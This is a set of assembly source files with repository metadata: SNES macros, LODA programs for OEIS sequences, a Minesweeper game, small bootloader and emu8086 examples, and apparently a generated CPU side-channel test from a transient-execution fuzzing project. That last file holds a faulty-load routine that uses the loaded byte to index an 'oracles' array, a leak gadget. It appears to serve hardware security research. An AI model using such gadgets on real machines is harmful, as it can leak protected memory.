macro ppu_off() LDA #$80 : STA $2100 : STA $13 STZ $420C : LDA $9B : PHA : STZ $9B STZ $4200 endmacro macro ppu_on() LDA #$A1 : STA $4200 LDA #$0F : STA $13 : STA $2100 PLA : STA $9B : STA $420C endmacro macro a8() sep #$20 endmacro macro a16() rep #$20 endmacro macro i8() sep #$10 endmacro macro ai8() sep #$30 endmacro macro ai16() rep #$30 endmacro macro i16() rep #$10 endmacro macro wdm() dw $4242 endmacro
TheStack
8c9a28ac876131cd919997e147272d50db21e2e0
Assemblycode:Assembly
{"size": 424, "ext": "asm", "max_stars_repo_path": "oeis/088/A088984.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/088/A088984.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/088/A088984.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 20.1904761905, "max_line_length": 193, "alphanum_fraction": 0.679245283}
; A088984: a(n) = (n!!)^2 - n!. ; Submitted by Christian Krause ; 2,3,40,105,1584,5985,107136,530145,11116800,68139225,1644364800,12034447425,329001523200,2801155982625,85619242598400,831764543234625,28117244819865600,307025061241523625,11374945402060800000 add $0,2 mov $2,1 lpb $0 mul $1,$0 add $3,$0 sub $3,1 mov $0,$3 add $1,$2 mov $3,$2 mul $2,$0 sub $0,1 trn $3,$1 lpe add $2,$1 mul $2,$1 mov $0,$2
TheStack
8668eb3ebb3e2f11e52c31f1a1441248f71800b1
Assemblycode:Assembly
{"size": 517, "ext": "asm", "max_stars_repo_path": "programs/oeis/183/A183037.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/183/A183037.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/183/A183037.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 51.7, "max_line_length": 232, "alphanum_fraction": 0.6324951644}
; A183037: a(n) = A001511(n)*2^A001511(n) where A001511(n) equals the 2-adic valuation of 2n. ; 2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,160,2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,384,2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,160,2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,896,2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,160,2,8,2,24,2,8,2,64,2,8,2,24,2,8,2,384,2,8,2,24 seq $0,7814 ; Exponent of highest power of 2 dividing n, a.k.a. the binary carry sequence, the ruler sequence, or the 2-adic valuation of n. add $0,1 mov $1,2 pow $1,$0 mul $1,$0 mov $0,$1
TheStack
546faa122f223e3b5483fbad08eb9065fc94a76a
Assemblycode:Assembly
{"size": 18610, "ext": "asm", "max_stars_repo_path": "MinesweeperASM/MinesweeperASM/minesweeper.asm", "max_stars_repo_name": "aliascc/aliascc-PoCs", "max_stars_repo_stars_event_min_datetime": "2017-11-15T07:18:23.000Z", "max_stars_repo_stars_event_max_datetime": "2017-11-15T07:18:23.000Z", "max_issues_repo_path": "MinesweeperASM/MinesweeperASM/minesweeper.asm", "max_issues_repo_name": "aliascc/aliascc-PoCs", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "MinesweeperASM/MinesweeperASM/minesweeper.asm", "max_forks_repo_name": "aliascc/aliascc-PoCs", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.7205750225, "max_line_length": 79, "alphanum_fraction": 0.6697474476}
.model flat, c printf PROTO arg1:Ptr BYTE, printlist:VARARG scanf PROTO arg2:Ptr BYTE, inputlist:VARARG system PROTO arg1:Ptr BYTE helper_random PROTO arg1:DWORD .data B_BLANK equ 1 B_MINE equ 2 B_NUMBER equ 4 B_HIDDEN equ 8 B_ALL equ 15 B_INVALIDPOS equ 0 B_GAME_OVER equ 1 B_GAME_WIN equ 2 B_OK equ 3 ;Game Table rowSize equ 10 colSize equ 10 maxMines equ 10 tableSize equ (rowSize * colSize) gameTableType DD (tableSize) DUP(B_HIDDEN) gameTableNumbers DD (tableSize) DUP(0) gameDisplayedLocs DD 0 ;Strings for Menus strScanfInt DB "%d", 0 strEndLine DB 10, 0 strChooseX DB "Choose X: ", 0 strChooseY DB "Choose Y: ", 0 strWinMsg DB "You've won the Game!", 0 strLostMsg DB "You've lost the game!", 0 ;String for Game Table strHidden DB "-", 0 strBlank DB " ", 0 strMine DB "*", 0 strNumber DB "%d", 0 strNumberBlank DB "%d ", 0 strNumber2Blank DB "%d ", 0 strNumberTableSepFL DB "%d |", 0 strTableSep DB " | ", 0 strTableSepFL DB " |", 0 strTableBlank DB " ", 0 strTable2Blank DB " ", 0 ;Other Strings strClearScreen DB "cls", 0 ;Input to read intToRead DD 0 .code ; Clears the Screen ; no params ; no return clear_screen PROC push OFFSET strClearScreen call system add esp, 4 ; Stack cleaning ret clear_screen ENDP ; Read and integer from a user ; no params ; return <eax>: integer that was read read_int PROC push OFFSET intToRead push OFFSET strScanfInt call scanf add esp, 8 ; Stack cleaning mov eax, intToRead ret read_int ENDP ; Print String ; param <ecx>: String to print ; no return print_str PROC push ecx call printf add esp, 4 ; Stack cleaning ret print_str ENDP ; Print end line ; no return print_end_line PROC push OFFSET strEndLine call printf add esp, 4 ; Stack cleaning ret print_end_line ENDP ; Print String with a number ; param <edx>: Integer to print ; param <ecx>: String to print ; no return print_str_num PROC push edx push ecx call printf add esp, 8 ; Stack Cleaning ret print_str_num ENDP ; Get Location from X & Y ; param <ecx>: X Position ; param <edx>: Y Position ; return <eax>: location in table get_location PROC ;Save Y value push edx ;Get offset for row mov eax, colSize mul ecx pop edx add eax, edx ret get_location ENDP ; Traverse the table when selecting a node ; param <eax>: Table Position ; param <ecx>: X Position ; param <edx>: Y Position ; no returns traverse_table PROC ;if (ebx & B_MINE || ebx & B_HIDDEN) mov ebx, [gameTableType + (eax*4)] and ebx, B_MINE cmp ebx, B_MINE je traverse_table_is_mine mov ebx, [gameTableType + (eax*4)] and ebx, B_HIDDEN cmp ebx, B_HIDDEN je traverse_table_not_mine traverse_table_is_mine: ret ;End if traverse_table_not_mine: ;Remove Hidden xor [gameTableType + (eax*4)], B_HIDDEN ;Increase Displayed Locations inc gameDisplayedLocs ;if(ebx != B_BLANK) mov ebx, [gameTableType + (eax*4)] and ebx, B_BLANK cmp ebx, B_BLANK je traverse_table_is_blank ret ;End if traverse_table_is_blank: ;Save Table Position push eax ;Save Y push edx ;Save X push ecx ;Look in top left ;row -1, col -1 ;if (row > 0 && col > 0) cmp ecx, 0 jle set_number_for_location_top_left_done cmp edx, 0 jle set_number_for_location_top_left_done sub ecx, 1 sub edx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_top_left_done: ;Look in top center ;row -1 ;if (row > 0) cmp ecx, 0 jle set_number_for_location_top_center_done sub ecx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_top_center_done: ;Look in top right ;if (row > 0 && col < (colSize - 1)) ;row - 1, col +1 cmp ecx, 0 jle set_number_for_location_top_right_done mov ebx, colSize sub ebx, 1 cmp edx, ebx jge set_number_for_location_top_right_done sub ecx, 1 add edx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_top_right_done: ;Look in left ;if (col > 0) ;col - 1 cmp edx, 0 jle set_number_for_location_left_done sub edx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_left_done: ;Look in right ;if (col < (colSize - 1)) ;col + 1 mov ebx, colSize sub ebx, 1 cmp edx, ebx jge set_number_for_location_right_done add edx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_right_done: ;Look in botton left ;if (row < (rowSize - 1) && col > 0) ;row + 1, col -1 mov ebx, rowSize sub ebx, 1 cmp ecx, ebx jge set_number_for_location_bottom_left_done cmp edx, 0 jle set_number_for_location_bottom_left_done add ecx, 1 sub edx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_bottom_left_done: ;Look in botton center ;if (row < (rowSize - 1)) ;row + 1 mov ebx, rowSize sub ebx, 1 cmp ecx, ebx jge set_number_for_location_bottom_center_done add ecx, 1 call get_location call traverse_table ;Restore X & Y and Position mov ecx, [esp] ;X mov edx, [esp + 4] ;Y mov eax, [esp + 8] ;Table Position set_number_for_location_bottom_center_done: ;Look in botton right ;if (row < (rowSize - 1) && col < (colSize - 1)) ;row + 1, col +1 mov ebx, rowSize sub ebx, 1 cmp ecx, ebx jge set_number_for_location_bottom_right_done mov ebx, colSize sub ebx, 1 cmp edx, ebx jge set_number_for_location_bottom_right_done add ecx, 1 add edx, 1 call get_location call traverse_table set_number_for_location_bottom_right_done: ;pop X & Y pop ecx pop edx ;Restore Table location pop eax ret traverse_table ENDP ; Select Position ; param <ecx>: X Position ; param <edx>: Y Position ; return <eax>: return option select_pos PROC ;Verify correct locations ;if (ecx >= rowSize || edx >= colSize) cmp ecx, rowSize jge select_pos_cont_wrong_x cmp edx, colSize jle select_pos_cont_correct_y select_pos_cont_wrong_x: ;Incorrect Size mov eax, B_INVALIDPOS ret select_pos_cont_correct_y: ;Get table location call get_location ;If is mine mov ebx, [gameTableType + (eax*4)] and ebx, B_MINE cmp ebx, B_MINE jne select_pos_end_is_mine xor [gameTableType + (eax*4)], B_HIDDEN mov eax, B_GAME_OVER ret ;End if select_pos_end_is_mine: ;Traverse the Table call traverse_table mov ebx, tableSize sub ebx, maxMines cmp ebx, gameDisplayedLocs jne select_pos_end_is_game_won ;Return Game Win mov eax, B_GAME_WIN ret select_pos_end_is_game_won: ;Return Ok mov eax, B_OK ret select_pos ENDP ; Set Mines ; No params ; no return set_mines PROC ;Set Number of mines to set mov ecx, maxMines ;Loop 1 set_mines_while: ;Save loop counter push ecx ;Get Random T push colSize call helper_random pop ecx push eax ;Get Random X push rowSize call helper_random pop ecx mov ecx, eax ;Retrieve Y pop edx ;Get table location call get_location ;Check if Table Location has mine mov edx, [gameTableType + (eax*4)] ;Retrieve loop counter pop ecx ;if (edx & B_MINE) and edx, B_MINE cmp edx, B_MINE jne set_mines_else_is_mine ;Mine has been set, continue looping inc ecx jmp set_mines_end_if_is_mine set_mines_else_is_mine: ;Set Mine to location or [gameTableType + (eax*4)], B_MINE ;End if set_mines_end_if_is_mine: loop set_mines_while ret set_mines ENDP ; Checks the table location for a mine ; if one is found increases counter ; restores X & Y to original value, they must be in the stack X on top, Y next ; param <eax>: location in the table ; param <ebx>: counter to increases ; no returns check_if_mine_inc_counter_restore_pos PROC mov edx, [gameTableType + (eax * 4)] and edx, B_MINE cmp edx, B_MINE jne set_number_for_location_top_left_no_mine inc ebx set_number_for_location_top_left_no_mine: ;Restore X & Y mov ecx, [esp + 4] ;X mov edx, [esp + 8] ;Y ret check_if_mine_inc_counter_restore_pos ENDP ; Sets the number of mines around a locations in the table ; param <eax>: location in the table ; param <ecx>: X Position ; param <edx>: Y Position ; no returns set_number_for_location PROC ;Save Table Position push eax ;Save Y push edx ;Save X push ecx ;Number counter mov ebx, 0 ;Look in top left ;row -1, col -1 ;if (row > 0 && col > 0) cmp ecx, 0 jle set_number_for_location_top_left_done cmp edx, 0 jle set_number_for_location_top_left_done sub ecx, 1 sub edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_top_left_done: ;Look in top center ;row -1 ;if (row > 0) cmp ecx, 0 jle set_number_for_location_top_center_done sub ecx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_top_center_done: ;Look in top right ;if (row > 0 && col < (colSize - 1)) ;row - 1, col +1 cmp ecx, 0 jle set_number_for_location_top_right_done mov eax, colSize sub eax, 1 cmp edx, eax jge set_number_for_location_top_right_done sub ecx, 1 add edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_top_right_done: ;Look in left ;if (col > 0) ;col - 1 cmp edx, 0 jle set_number_for_location_left_done sub edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_left_done: ;Look in right ;if (col < (colSize - 1)) ;col + 1 mov eax, colSize sub eax, 1 cmp edx, eax jge set_number_for_location_right_done add edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_right_done: ;Look in botton left ;if (row < (rowSize - 1) && col > 0) ;row + 1, col -1 mov eax, rowSize sub eax, 1 cmp ecx, eax jge set_number_for_location_bottom_left_done cmp edx, 0 jle set_number_for_location_bottom_left_done add ecx, 1 sub edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_bottom_left_done: ;Look in botton center ;if (row < (rowSize - 1)) ;row + 1 mov eax, rowSize sub eax, 1 cmp ecx, eax jge set_number_for_location_bottom_center_done add ecx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_bottom_center_done: ;Look in botton right ;if (row < (rowSize - 1) && col < (colSize - 1)) ;row + 1, col +1 mov eax, rowSize sub eax, 1 cmp ecx, eax jge set_number_for_location_bottom_right_done mov eax, colSize sub eax, 1 cmp edx, eax jge set_number_for_location_bottom_right_done add ecx, 1 add edx, 1 ;Get Table location call get_location call check_if_mine_inc_counter_restore_pos set_number_for_location_bottom_right_done: ;pop X & Y pop ecx pop edx ;Restore Table location pop eax ; if (ebx != 0) cmp ebx, 0 je set_number_for_location_else_if_num_zero or [gameTableType + (eax*4)], B_NUMBER mov [gameTableNumbers + (eax*4)], ebx jmp set_number_for_location_end_if_num_zero ;else set_number_for_location_else_if_num_zero: or [gameTableType + (eax*4)], B_BLANK ;End if set_number_for_location_end_if_num_zero: ret set_number_for_location ENDP ; Sets the number of mines around all the locations of the table ; no params ; no returns set_numbers PROC ;Initialize table location mov eax, tableSize - 1 ;Initialize counter for Loop 1 mov ecx, rowSize ;Loop 1 set_numbers_for1: ;Save Loop 1 counter push ecx ;Get a copy of the current counter mov ebx, ecx ;Initialize counter for Loop 2 mov ecx, colSize ;Loop 2 set_numbers_for2: ;Save registers push ebx push ecx push eax ;Get which Table String to print mov edx, [gameTableType + (eax*4)] ;if(edx & B_MINE) and edx, B_MINE cmp edx, B_MINE je set_numbers_end_if_not_mine ;Set Y mov edx, ecx sub edx, 1 ;Set X mov ecx, ebx sub ecx, 1 ;Set the numberr for the location call set_number_for_location ;end if set_numbers_end_if_not_mine: ;Restore Registers pop eax pop ecx pop ebx ;Increase table location dec eax ;End Loop 2 loop set_numbers_for2 ;Restore Loop 1 counter pop ecx ;End Loop 1 loop set_numbers_for1 ret set_numbers ENDP ; Prints the character for the Location of the table ; param <eax>: Table location ; no return print_character_table_position PROC ;Get which Table String to print mov edx, [gameTableType + (eax*4)] ;switch edx ;;;;;;;;;;;;;;; ;case B_BLANK: mov ebx, edx and ebx, B_BLANK cmp ebx, B_BLANK jne p_case_mine ;Print Blank mov ecx, OFFSET strBlank call print_str jmp p_end_switch ;case B_MINE: p_case_mine: mov ebx, edx and ebx, B_MINE cmp ebx, B_MINE jne p_case_number ;Print Blank mov ecx, OFFSET strMine call print_str jmp p_end_switch ;case B_NUMBER: p_case_number: ;Print Blank mov edx, [gameTableNumbers + (eax*4)] mov ecx, OFFSET strNumber call print_str_num p_end_switch: ret print_character_table_position ENDP print_first_line PROC push ecx push eax push ebx push edx ;Print Blank mov ecx, OFFSET strTable2Blank call print_str mov ecx, rowSize mov eax, 0 print_first_line_loop: ;Save values push eax push ecx ;Print Blank Space mov ecx, OFFSET strBlank call print_str ;Restore counter mov eax, [esp + 4] ;Print Number mov ecx, OFFSET strNumberTableSepFL mov edx, eax call print_str_num ;Restore values pop ecx pop eax ;Increase counter inc eax loop print_first_line_loop ;Print end line call print_end_line pop edx pop ebx pop eax pop ecx ret print_first_line ENDP ; Print Game Table ; param <ebx>: if not zero it will ignore the hidden value ; no return print_table PROC ;Initialize table location mov eax, 0 ;Initialize counter for Loop 1 mov ecx, rowSize ;Loop 1 for1: ;Save Loop 1 counter push ecx ;copy loop 1 counter mov edx, ecx ;Initialize counter for Loop 2 mov ecx, colSize ;Loop 2 for2: ;if (x == rowSize && y == colSize) cmp edx, rowSize jne print_table_first_line_end cmp ecx, colSize jne print_table_first_line_end call print_first_line print_table_first_line_end: ;if (y == 0) cmp ecx, colSize jne print_table_first_blank_space_end push ecx push eax push ebx ;Print Number mov eax, edx mov edx, rowSize sub edx, eax mov ecx, OFFSET strNumber2Blank call print_str_num pop ebx pop eax pop ecx print_table_first_blank_space_end: ;Save registers push ebx push ecx push eax ;Get which Table String to print mov edx, [gameTableType + (eax*4)] ;if(ebx != 0 && edx & B_HIDDEN) cmp ebx, 0 jne else_hidden and edx, B_HIDDEN cmp edx, B_HIDDEN jne else_hidden ;Print Blank mov ecx, OFFSET strHidden call print_str jmp end_if_hidden ;else else_hidden: call print_character_table_position ;end if end_if_hidden: ;Print Separator mov ecx, OFFSET strTableSep call print_str ;Restore Registers pop eax pop ecx pop ebx ;Increase table location inc eax ;End Loop 2 loop for2 ;Print end line push eax push ebx call print_end_line pop ebx pop eax ;Restore Loop 1 counter pop ecx ;End Loop 1 loop for1 ret print_table ENDP ; Play Game play_asm PROC ;Init Game Table call set_mines call set_numbers ;Init ecx loop counter mov ecx, 1 while1: ;Save loop counter push ecx ;Print Table mov ebx, 0 call print_table ;Get X mov ecx, OFFSET strChooseX call print_str call read_int push eax ;Get Y mov ecx, OFFSET strChooseY call print_str call read_int mov edx, eax ;Retrieve X pop ecx ;Select Position in the table call select_pos ;Save register push eax ;clear the screen call clear_screen ;Retrieve register pop eax ;Retrieve loop counter pop ecx ;if (eax != B_GAME_OVER && eax != B_GAME_WIN) cmp eax, B_GAME_OVER je play_asm_else_game_end cmp eax, B_GAME_WIN je play_asm_else_game_end ;Increase to make loop infinite inc ecx jmp play_asm_end_if_game_end ;else play_asm_else_game_end: ;End loop mov ecx, 1 ;End if play_asm_end_if_game_end: loop while1 ;if(eax == B_GAME_WIN) cmp eax, B_GAME_WIN jne play_asm_else_game_over_msg ;Print Win Message mov ecx, OFFSET strWinMsg call print_str jmp play_asm_end_if_game_over_msg ;else play_asm_else_game_over_msg: ;Print lost Message mov ecx, OFFSET strLostMsg call print_str ;End if play_asm_end_if_game_over_msg: ;End line call print_end_line ;Print Table mov ebx, 1 call print_table ;End line call print_end_line ret play_asm ENDP END
TheStack
8cdc1c0c8cde625f5b826d8683157e6b27dffd0a
Assemblycode:Assembly
{"size": 197, "ext": "asm", "max_stars_repo_path": "src/boot/print_string.asm", "max_stars_repo_name": "mikefeneley/chaosOS", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/boot/print_string.asm", "max_issues_repo_name": "mikefeneley/chaosOS", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/boot/print_string.asm", "max_forks_repo_name": "mikefeneley/chaosOS", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 12.3125, "max_line_length": 17, "alphanum_fraction": 0.4873096447}
print_string: push ax push bx mov ah, 0x0e jmp loop loop: mov al, [bx] int 0x10 inc bx mov al, [bx] cmp al, 0 jne loop pop bx pop ax ret
TheStack
66c2290faa2ddb235e7f93a768c5c2f6b76c7cdf
Assemblycode:Assembly
{"size": 645, "ext": "asm", "max_stars_repo_path": "3 term/Assembly/1 Lab/main.asm", "max_stars_repo_name": "mrojaczy/Labs", "max_stars_repo_stars_event_min_datetime": "2020-03-15T17:11:23.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-15T17:11:23.000Z", "max_issues_repo_path": "3 term/Assembly/1 Lab/main.asm", "max_issues_repo_name": "Asphobel/Labs", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "3 term/Assembly/1 Lab/main.asm", "max_forks_repo_name": "Asphobel/Labs", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 11.7272727273, "max_line_length": 29, "alphanum_fraction": 0.5581395349}
.model small .stack 100h .data a dw 1 b dw 2 c dw 3 d dw 4 .code main: mov ax, @data mov ds, ax mov ax, a and ax, d mov bx, b add bx, c jc else_main cmp ax, bx jnz else_main mov ax, a xor ax, b mov bx, b or bx, d add ax, bx ; print((a^b)+(b|d))a jmp continue else_main: mov ax, b and ax, d mov bx, b add bx, c jc else_incidental cmp ax, bx jnz else_incidental mov ax, a or ax, c mov bx, b xor bx, d or ax, bx jmp continue else_incidental: mov ax, a add ax, c mov bx, b add bx, d and ax, bx continue: mov ax, 4c00h int 21h end main
TheStack
ad9c85df510779e5e5c73d4d95c7f4641284998d
Assemblycode:Assembly
{"size": 742, "ext": "asm", "max_stars_repo_path": "examples/bcd_aaa.asm", "max_stars_repo_name": "AbdulrahmanAbumdas/emu8086", "max_stars_repo_stars_event_min_datetime": "2015-10-01T20:34:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T09:19:39.000Z", "max_issues_repo_path": "examples/bcd_aaa.asm", "max_issues_repo_name": "BurunluVoldi/emu8086", "max_issues_repo_issues_event_min_datetime": "2017-06-13T17:22:24.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-29T23:40:11.000Z", "max_forks_repo_path": "examples/bcd_aaa.asm", "max_forks_repo_name": "BurunluVoldi/emu8086", "max_forks_repo_forks_event_min_datetime": "2015-09-13T09:40:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T14:15:16.000Z"}
{"max_stars_count": 287, "max_issues_count": 6, "max_forks_count": 239, "avg_line_length": 13.7407407407, "max_line_length": 78, "alphanum_fraction": 0.6051212938}
; this example shows the use of aaa instruction (ascii adjust after addition). ; it is used to add huge bcd numbers. name "bcd_aaa" org 100h ; first number '9': mov ah, 09h ; second number '5': mov al, 05h ; al = al + ah = ; = 09h + 05h = 0eh add al, ah ; clear tens byte of bcd ; result: xor ah, ah ; adjust result to bcd form, ; ah = 1, al = 4 -> '14' aaa ; print the result: ; store contents of ; ax register: mov dx, ax ; print first digit: mov ah, 0eh ; convert to ascii: or dh, 30h mov al, dh int 10h ; print second digit: ; convert to ascii: or dl, 30h mov al, dl int 10h ; wait for any key press: mov ah, 0 int 16h ret ; return control to operating system.
TheStack
7e584c76c3c2ac2484bbc1ed186499a04b6304c2
Assemblycode:Assembly
{"size": 4448, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1411.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1411.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1411.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 59.3066666667, "max_line_length": 2999, "alphanum_fraction": 0.6564748201}
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi // Load lea addresses_WT+0xd8c1, %r9 nop nop and %r13, %r13 vmovups (%r9), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r12 nop inc %r15 // Store lea addresses_UC+0x15a31, %r9 nop nop cmp %rdi, %rdi movw $0x5152, (%r9) nop cmp $16369, %rdi // Store lea addresses_A+0xba30, %r13 cmp $52811, %rcx mov $0x5152535455565758, %rbp movq %rbp, (%r13) nop and %rbp, %rbp // Faulty Load mov $0x2cac7900000006c1, %rdi nop nop sub $33299, %rbp mov (%rdi), %r9d lea oracles, %r15 and $0xff, %r9 shlq $12, %r9 mov (%r15,%r9,1), %r9 pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 